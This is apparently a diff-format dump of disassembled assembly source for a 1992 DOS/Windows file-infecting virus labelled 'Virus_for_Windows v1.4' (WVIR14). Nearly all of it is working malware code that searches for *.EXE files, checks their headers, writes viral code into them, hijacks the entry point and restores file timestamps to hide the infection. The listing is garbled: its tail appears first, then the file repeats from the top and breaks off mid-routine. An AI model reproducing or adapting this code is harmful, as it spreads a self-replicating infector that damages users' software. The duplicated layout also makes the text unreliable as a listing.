;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_3 proc near
|
|
||||||
call sub_8
|
|
||||||
cmp word ptr [si],5A4Dh
|
|
||||||
jne loc_5 ; Jump if not equal
|
|
||||||
cmp word ptr [si+18h],40h
|
|
||||||
jb loc_5 ; Jump if below
|
|
||||||
mov ax,[si+3Ch]
|
|
||||||
mov dx,[si+3Eh]
|
|
||||||
call sub_16
|
|
||||||
mov ds:data_20e,ax
|
|
||||||
mov ds:data_21e,dx
|
|
||||||
call sub_8
|
|
||||||
cmp word ptr [si],454Eh
|
|
||||||
jne loc_5 ; Jump if not equal
|
|
||||||
cmp word ptr [si+0Ch],302h
|
|
||||||
jne loc_5 ; Jump if not equal
|
|
||||||
cmp byte ptr [si+32h],4
|
|
||||||
jne loc_5 ; Jump if not equal
|
|
||||||
cmp word ptr [si+36h],802h
|
|
||||||
jne loc_5 ; Jump if not equal
|
|
||||||
clc ; Clear carry flag
|
|
||||||
retn
|
|
||||||
loc_5:
|
|
||||||
stc ; Set carry flag
|
|
||||||
|
|
||||||
loc_ret_6:
|
|
||||||
retn
|
|
||||||
sub_3 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_4 proc near
|
|
||||||
mov ax,[si+16h]
|
|
||||||
mov dx,140h
|
|
||||||
call sub_7
|
|
||||||
cmp word ptr ds:data_13e,3AEh
|
|
||||||
jb loc_ret_6 ; Jump if below
|
|
||||||
cmp byte ptr ds:data_14e,50h ; 'P'
|
|
||||||
jne loc_ret_6 ; Jump if not equal
|
|
||||||
mov ax,[si+0Eh]
|
|
||||||
mov dx,148h
|
|
||||||
call sub_7
|
|
||||||
cmp word ptr ds:data_16e,4A8h
|
|
||||||
jb loc_ret_6 ; Jump if below
|
|
||||||
mov ax,ds:data_12e
|
|
||||||
call sub_15
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,2AEh
|
|
||||||
nop
|
|
||||||
call sub_9
|
|
||||||
call sub_13
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,2AEh
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
mov ax,word ptr ds:[148h]
|
|
||||||
call sub_15
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_9
|
|
||||||
call sub_13
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
push word ptr ds:[144h]
|
|
||||||
pop word ptr ds:[1A2h]
|
|
||||||
and word ptr ds:[144h],0FEFFh
|
|
||||||
mov ax,[si+16h]
|
|
||||||
mov dx,140h
|
|
||||||
call sub_10
|
|
||||||
xor ax,ax ; Zero register
|
|
||||||
cwd ; Word to double word
|
|
||||||
call sub_14
|
|
||||||
push word ptr [si+14h]
|
|
||||||
pop word ptr ds:[1A0h]
|
|
||||||
mov word ptr [si+14h],100h
|
|
||||||
call sub_11
|
|
||||||
mov ax,word ptr ds:[140h]
|
|
||||||
call sub_15
|
|
||||||
push ds
|
|
||||||
push cs
|
|
||||||
pop ds
|
|
||||||
mov dx,100h
|
|
||||||
mov cx,2AEh
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
pop ds
|
|
||||||
mov ax,word ptr ds:[148h]
|
|
||||||
call sub_15
|
|
||||||
mov dx,100h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
retn
|
|
||||||
sub_4 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_5 proc near
|
|
||||||
mov ax,[si+0Eh]
|
|
||||||
mov dx,148h
|
|
||||||
call sub_7
|
|
||||||
mov ax,ds:data_15e
|
|
||||||
call sub_15
|
|
||||||
mov dx,100h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_9
|
|
||||||
retn
|
|
||||||
sub_5 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_6 proc near
|
|
||||||
push word ptr ds:data_23e
|
|
||||||
pop word ptr ds:data_14e
|
|
||||||
mov ax,[si+16h]
|
|
||||||
mov dx,140h
|
|
||||||
call sub_10
|
|
||||||
push word ptr ds:data_22e
|
|
||||||
pop word ptr [si+14h]
|
|
||||||
xor ax,ax ; Zero register
|
|
||||||
cwd ; Word to double word
|
|
||||||
call sub_14
|
|
||||||
call sub_11
|
|
||||||
call sub_13
|
|
||||||
sub ax,0A8h
|
|
||||||
nop
|
|
||||||
sbb dx,0
|
|
||||||
push ax
|
|
||||||
push dx
|
|
||||||
call sub_16
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_9
|
|
||||||
mov ax,ds:data_15e
|
|
||||||
call sub_15
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
pop dx
|
|
||||||
pop ax
|
|
||||||
sub ax,2AEh
|
|
||||||
nop
|
|
||||||
sbb dx,0
|
|
||||||
push ax
|
|
||||||
push dx
|
|
||||||
call sub_16
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,2AEh
|
|
||||||
nop
|
|
||||||
call sub_9
|
|
||||||
mov ax,word ptr ds:[140h]
|
|
||||||
call sub_15
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,2AEh
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
pop dx
|
|
||||||
pop ax
|
|
||||||
call sub_16
|
|
||||||
mov cx,0
|
|
||||||
call sub_12
|
|
||||||
retn
|
|
||||||
sub_6 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_7 proc near
|
|
||||||
push dx
|
|
||||||
dec ax
|
|
||||||
mov cx,8
|
|
||||||
mul cx ; dx:ax = reg * ax
|
|
||||||
add ax,[si+22h]
|
|
||||||
adc dx,0
|
|
||||||
call sub_14
|
|
||||||
pop dx
|
|
||||||
mov cx,8
|
|
||||||
jmp short loc_7
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_8:
|
|
||||||
mov dx,data_11e
|
|
||||||
mov cx,40h
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_9:
|
|
||||||
loc_7:
|
|
||||||
mov ah,3Fh
|
|
||||||
int 21h ; DOS Services ah=function 3Fh
|
|
||||||
; read file, bx=file handle
|
|
||||||
; cx=bytes to ds:dx buffer
|
|
||||||
retn
|
|
||||||
sub_7 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_10 proc near
|
|
||||||
push dx
|
|
||||||
dec ax
|
|
||||||
mov cx,8
|
|
||||||
mul cx ; dx:ax = reg * ax
|
|
||||||
add ax,[si+22h]
|
|
||||||
adc dx,0
|
|
||||||
call sub_14
|
|
||||||
pop dx
|
|
||||||
mov cx,8
|
|
||||||
jmp short loc_8
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_11:
|
|
||||||
mov dx,data_11e
|
|
||||||
mov cx,40h
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_12:
|
|
||||||
loc_8:
|
|
||||||
mov ah,40h
|
|
||||||
int 21h ; DOS Services ah=function 40h
|
|
||||||
; write file bx=file handle
|
|
||||||
; cx=bytes from ds:dx buffer
|
|
||||||
retn
|
|
||||||
sub_10 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_13 proc near
|
|
||||||
mov ax,4202h
|
|
||||||
xor cx,cx ; Zero register
|
|
||||||
cwd ; Word to double word
|
|
||||||
int 21h ; DOS Services ah=function 42h
|
|
||||||
; move file ptr, bx=file handle
|
|
||||||
; al=method, cx,dx=offset
|
|
||||||
retn
|
|
||||||
sub_13 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_14 proc near
|
|
||||||
add ax,ds:data_20e
|
|
||||||
adc dx,ds:data_21e
|
|
||||||
jmp short loc_9
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_15:
|
|
||||||
mov cx,10h
|
|
||||||
mul cx ; dx:ax = reg * ax
|
|
||||||
add ax,100h
|
|
||||||
adc dx,0
|
|
||||||
jmp short loc_9
|
|
||||||
db 33h,0C0h, 99h
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_16:
|
|
||||||
loc_9:
|
|
||||||
xchg cx,dx
|
|
||||||
xchg ax,dx
|
|
||||||
mov ax,4200h
|
|
||||||
int 21h ; DOS Services ah=function 42h
|
|
||||||
; move file ptr, bx=file handle
|
|
||||||
; al=method, cx,dx=offset
|
|
||||||
retn
|
|
||||||
sub_14 endp
|
|
||||||
|
|
||||||
;* No entry point to code
|
|
||||||
xchg cx,dx
|
|
||||||
xchg ax,dx
|
|
||||||
mov ax,4201h
|
|
||||||
int 21h ; DOS Services ah=function 42h
|
|
||||||
; move file ptr, bx=file handle
|
|
||||||
; al=method, cx,dx=offset
|
|
||||||
retn
|
|
||||||
db ' Virus_for_Windows v1.4 '
|
|
||||||
db 259 dup (0)
|
|
||||||
db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
|
|
||||||
db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
|
|
||||||
db 'bbbbbbbbccccccccdddddddddddddddd'
|
|
||||||
db 'ddddddddddddddddddddddddddd*.EXE'
|
|
||||||
db 0
|
|
||||||
db 'eeeeeeeeeeeee'
|
|
||||||
db 00h, 00h, 80h, 00h, 00h, 00h
|
|
||||||
db 5Ch, 00h, 00h, 00h
|
|
||||||
db 6Ch
|
|
||||||
db 11 dup (0)
|
|
||||||
db 4Dh, 4Bh, 39h, 32h
|
|
||||||
db 8 dup (0)
|
|
||||||
|
|
||||||
seg_a ends
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
;------------------------------------------------------ stack_seg_b ----
|
|
||||||
|
|
||||||
stack_seg_b segment word stack 'STACK'
|
|
||||||
|
|
||||||
db 8192 dup (0)
|
|
||||||
|
|
||||||
stack_seg_b ends
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
end start
|
|
@ -1,487 +0,0 @@
|
|||||||
|
|
||||||
PAGE 59,132
|
|
||||||
|
|
||||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
||||||
;ÛÛ ÛÛ
|
|
||||||
;ÛÛ WVIR14 ÛÛ
|
|
||||||
;ÛÛ ÛÛ
|
|
||||||
;ÛÛ Created: 1-Sep-92 ÛÛ
|
|
||||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
||||||
;ÛÛ ÛÛ
|
|
||||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
||||||
|
|
||||||
data_11e equ 100h ;*
|
|
||||||
data_12e equ 140h ;*
|
|
||||||
data_13e equ 142h ;*
|
|
||||||
data_14e equ 144h ;*
|
|
||||||
data_15e equ 148h ;*
|
|
||||||
data_16e equ 14Ah ;*
|
|
||||||
data_17e equ 150h ;*
|
|
||||||
data_18e equ 16Eh ;*
|
|
||||||
data_19e equ 181h ;*
|
|
||||||
data_20e equ 19Ch ;*
|
|
||||||
data_21e equ 19Eh ;*
|
|
||||||
data_22e equ 1A0h ;*
|
|
||||||
data_23e equ 1A2h ;*
|
|
||||||
|
|
||||||
;------------------------------------------------------------ seg_a ----
|
|
||||||
|
|
||||||
seg_a segment byte public
|
|
||||||
assume cs:seg_a , ds:seg_a , ss:stack_seg_b
|
|
||||||
|
|
||||||
db 249 dup (0)
|
|
||||||
|
|
||||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
||||||
;
|
|
||||||
; Program Entry Point
|
|
||||||
;
|
|
||||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
||||||
|
|
||||||
|
|
||||||
wvir14 proc far
|
|
||||||
|
|
||||||
start:
|
|
||||||
mov ax,cs
|
|
||||||
add ax,3Bh
|
|
||||||
mov ds,ax
|
|
||||||
cld ; Clear direction
|
|
||||||
push es
|
|
||||||
push ds
|
|
||||||
pop es
|
|
||||||
mov si,data_18e
|
|
||||||
mov di,data_19e
|
|
||||||
mov cx,0Dh
|
|
||||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
||||||
mov dx,data_17e
|
|
||||||
mov ah,1Ah
|
|
||||||
int 21h ; DOS Services ah=function 1Ah
|
|
||||||
; set DTA(disk xfer area) ds:dx
|
|
||||||
mov dx,17Bh
|
|
||||||
xor cx,cx ; Zero register
|
|
||||||
mov ah,4Eh
|
|
||||||
loc_1:
|
|
||||||
int 21h ; DOS Services ah=function 4Fh
|
|
||||||
; find next filename match
|
|
||||||
jc loc_2 ; Jump if carry Set
|
|
||||||
mov dx,data_18e
|
|
||||||
call sub_1
|
|
||||||
mov ah,4Fh ; 'O'
|
|
||||||
jmp short loc_1
|
|
||||||
loc_2:
|
|
||||||
mov dx,data_19e
|
|
||||||
call sub_2
|
|
||||||
pop es
|
|
||||||
mov ax,4C00h
|
|
||||||
int 21h ; DOS Services ah=function 4Ch
|
|
||||||
; terminate with al=return code
|
|
||||||
|
|
||||||
wvir14 endp
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_1 proc near
|
|
||||||
mov ax,3D02h
|
|
||||||
int 21h ; DOS Services ah=function 3Dh
|
|
||||||
; open file, al=mode,name@ds:dx
|
|
||||||
jc loc_ret_4 ; Jump if carry Set
|
|
||||||
xchg ax,bx
|
|
||||||
mov si,100h
|
|
||||||
call sub_3
|
|
||||||
jc loc_3 ; Jump if carry Set
|
|
||||||
cmp word ptr [si+14h],100h
|
|
||||||
je loc_3 ; Jump if equal
|
|
||||||
mov ax,5700h
|
|
||||||
int 21h ; DOS Services ah=function 57h
|
|
||||||
; get file date+time, bx=handle
|
|
||||||
; returns cx=time, dx=time
|
|
||||||
push cx
|
|
||||||
push dx
|
|
||||||
call sub_4
|
|
||||||
pop dx
|
|
||||||
pop cx
|
|
||||||
mov ax,5701h
|
|
||||||
int 21h ; DOS Services ah=function 57h
|
|
||||||
; set file date+time, bx=handle
|
|
||||||
; cx=time, dx=time
|
|
||||||
loc_3:
|
|
||||||
mov ah,3Eh
|
|
||||||
int 21h ; DOS Services ah=function 3Eh
|
|
||||||
; close file, bx=file handle
|
|
||||||
|
|
||||||
loc_ret_4:
|
|
||||||
retn
|
|
||||||
sub_1 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_2 proc near
|
|
||||||
mov ax,3D02h
|
|
||||||
int 21h ; DOS Services ah=function 3Dh
|
|
||||||
; open file, al=mode,name@ds:dx
|
|
||||||
jc loc_ret_4 ; Jump if carry Set
|
|
||||||
xchg ax,bx
|
|
||||||
mov si,100h
|
|
||||||
call sub_3
|
|
||||||
jc loc_3 ; Jump if carry Set
|
|
||||||
cmp word ptr [si+14h],100h
|
|
||||||
jne loc_3 ; Jump if not equal
|
|
||||||
mov ax,5700h
|
|
||||||
int 21h ; DOS Services ah=function 57h
|
|
||||||
; get file date+time, bx=handle
|
|
||||||
; returns cx=time, dx=time
|
|
||||||
push cx
|
|
||||||
push dx
|
|
||||||
call sub_5
|
|
||||||
call sub_6
|
|
||||||
pop dx
|
|
||||||
pop cx
|
|
||||||
mov ax,5701h
|
|
||||||
int 21h ; DOS Services ah=function 57h
|
|
||||||
; set file date+time, bx=handle
|
|
||||||
; cx=time, dx=time
|
|
||||||
jmp short loc_3
|
|
||||||
sub_2 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_3 proc near
|
|
||||||
call sub_8
|
|
||||||
cmp word ptr [si],5A4Dh
|
|
||||||
jne loc_5 ; Jump if not equal
|
|
||||||
cmp word ptr [si+18h],40h
|
|
||||||
jb loc_5 ; Jump if below
|
|
||||||
mov ax,[si+3Ch]
|
|
||||||
mov dx,[si+3Eh]
|
|
||||||
call sub_16
|
|
||||||
mov ds:data_20e,ax
|
|
||||||
mov ds:data_21e,dx
|
|
||||||
call sub_8
|
|
||||||
cmp word ptr [si],454Eh
|
|
||||||
jne loc_5 ; Jump if not equal
|
|
||||||
cmp word ptr [si+0Ch],302h
|
|
||||||
jne loc_5 ; Jump if not equal
|
|
||||||
cmp byte ptr [si+32h],4
|
|
||||||
jne loc_5 ; Jump if not equal
|
|
||||||
cmp word ptr [si+36h],802h
|
|
||||||
jne loc_5 ; Jump if not equal
|
|
||||||
clc ; Clear carry flag
|
|
||||||
retn
|
|
||||||
loc_5:
|
|
||||||
stc ; Set carry flag
|
|
||||||
|
|
||||||
loc_ret_6:
|
|
||||||
retn
|
|
||||||
sub_3 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_4 proc near
|
|
||||||
mov ax,[si+16h]
|
|
||||||
mov dx,140h
|
|
||||||
call sub_7
|
|
||||||
cmp word ptr ds:data_13e,3AEh
|
|
||||||
jb loc_ret_6 ; Jump if below
|
|
||||||
cmp byte ptr ds:data_14e,50h ; 'P'
|
|
||||||
jne loc_ret_6 ; Jump if not equal
|
|
||||||
mov ax,[si+0Eh]
|
|
||||||
mov dx,148h
|
|
||||||
call sub_7
|
|
||||||
cmp word ptr ds:data_16e,4A8h
|
|
||||||
jb loc_ret_6 ; Jump if below
|
|
||||||
mov ax,ds:data_12e
|
|
||||||
call sub_15
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,2AEh
|
|
||||||
nop
|
|
||||||
call sub_9
|
|
||||||
call sub_13
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,2AEh
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
mov ax,word ptr ds:[148h]
|
|
||||||
call sub_15
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_9
|
|
||||||
call sub_13
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
push word ptr ds:[144h]
|
|
||||||
pop word ptr ds:[1A2h]
|
|
||||||
and word ptr ds:[144h],0FEFFh
|
|
||||||
mov ax,[si+16h]
|
|
||||||
mov dx,140h
|
|
||||||
call sub_10
|
|
||||||
xor ax,ax ; Zero register
|
|
||||||
cwd ; Word to double word
|
|
||||||
call sub_14
|
|
||||||
push word ptr [si+14h]
|
|
||||||
pop word ptr ds:[1A0h]
|
|
||||||
mov word ptr [si+14h],100h
|
|
||||||
call sub_11
|
|
||||||
mov ax,word ptr ds:[140h]
|
|
||||||
call sub_15
|
|
||||||
push ds
|
|
||||||
push cs
|
|
||||||
pop ds
|
|
||||||
mov dx,100h
|
|
||||||
mov cx,2AEh
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
pop ds
|
|
||||||
mov ax,word ptr ds:[148h]
|
|
||||||
call sub_15
|
|
||||||
mov dx,100h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
retn
|
|
||||||
sub_4 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_5 proc near
|
|
||||||
mov ax,[si+0Eh]
|
|
||||||
mov dx,148h
|
|
||||||
call sub_7
|
|
||||||
mov ax,ds:data_15e
|
|
||||||
call sub_15
|
|
||||||
mov dx,100h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_9
|
|
||||||
retn
|
|
||||||
sub_5 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_6 proc near
|
|
||||||
push word ptr ds:data_23e
|
|
||||||
pop word ptr ds:data_14e
|
|
||||||
mov ax,[si+16h]
|
|
||||||
mov dx,140h
|
|
||||||
call sub_10
|
|
||||||
push word ptr ds:data_22e
|
|
||||||
pop word ptr [si+14h]
|
|
||||||
xor ax,ax ; Zero register
|
|
||||||
cwd ; Word to double word
|
|
||||||
call sub_14
|
|
||||||
call sub_11
|
|
||||||
call sub_13
|
|
||||||
sub ax,0A8h
|
|
||||||
nop
|
|
||||||
sbb dx,0
|
|
||||||
push ax
|
|
||||||
push dx
|
|
||||||
call sub_16
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_9
|
|
||||||
mov ax,ds:data_15e
|
|
||||||
call sub_15
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,0A8h
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
pop dx
|
|
||||||
pop ax
|
|
||||||
sub ax,2AEh
|
|
||||||
nop
|
|
||||||
sbb dx,0
|
|
||||||
push ax
|
|
||||||
push dx
|
|
||||||
call sub_16
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,2AEh
|
|
||||||
nop
|
|
||||||
call sub_9
|
|
||||||
mov ax,word ptr ds:[140h]
|
|
||||||
call sub_15
|
|
||||||
mov dx,1A8h
|
|
||||||
mov cx,2AEh
|
|
||||||
nop
|
|
||||||
call sub_12
|
|
||||||
pop dx
|
|
||||||
pop ax
|
|
||||||
call sub_16
|
|
||||||
mov cx,0
|
|
||||||
call sub_12
|
